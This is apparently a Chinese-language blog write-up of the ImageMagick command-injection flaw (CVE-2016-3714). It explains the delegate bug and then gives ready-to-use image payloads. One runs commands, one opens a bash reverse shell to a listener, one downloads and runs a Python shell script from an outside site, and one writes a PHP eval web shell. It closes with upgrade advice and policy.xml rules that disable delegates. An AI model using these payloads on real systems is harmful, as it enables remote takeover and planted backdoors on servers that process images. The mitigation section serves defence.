ImageMagick命令执行

什么是ImageMagick

  ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

漏洞分析

ImageMagick在处理https文件时,会调用https委托:

1
" <delegate decode=\"https\" command=\"&quot;wget&quot; -q -O &quot;%o&quot; &quot;https:%M&quot;\"/>"

具体详情:Github
调用委托去下载相应的图片,如果我们传入

1
https://example.com/image.jpg"|ls -al"`

则底层运行的则是

1
"wget" -q -O "%o" "https://example.com/image.jpg"|ls -al""

成功执行ls -al

漏洞利用

POC

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context
  1. push和pop是用于堆栈的操作,一个进栈,一个出栈;
  2. viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;
  3. fill url()是把图片填充到当前元素内;

适用范围

ImageMagick 6.9.3-9以前的所有版本

命令执行

创建一个test.png文件,包含以下内容

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls -al")'
pop graphic-context

本地测试执行命令:convert 1.png 2.png

Shell反弹

服务器开启端口监听:

1
nc -lvp port //port需要为未被占用的端口

test.png写入

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/服务器ip/port 0>&1")'
pop graphic-context

或者利用py反弹:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://isron.cn/2017/03/29/CVE-2016-3714/shell.py -O /tmp/Isron.py && python /tmp/Isron.py ip port")'
pop graphic-context

WebShell写入

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'Isron\\']);?>\\' > shell.php")'
pop graphic-context

漏洞修复

  1. 升级到最新版本
  2. 配置/etc/ImageMagick/policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate
1
2
3
4
5
6
7
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

参考链接

  1. http://rcoil.me/2017/03/CVE-2016-3714/
  2. http://byd.dropsec.xyz/2016/10/02/ImageMagick命令执行漏洞浅析/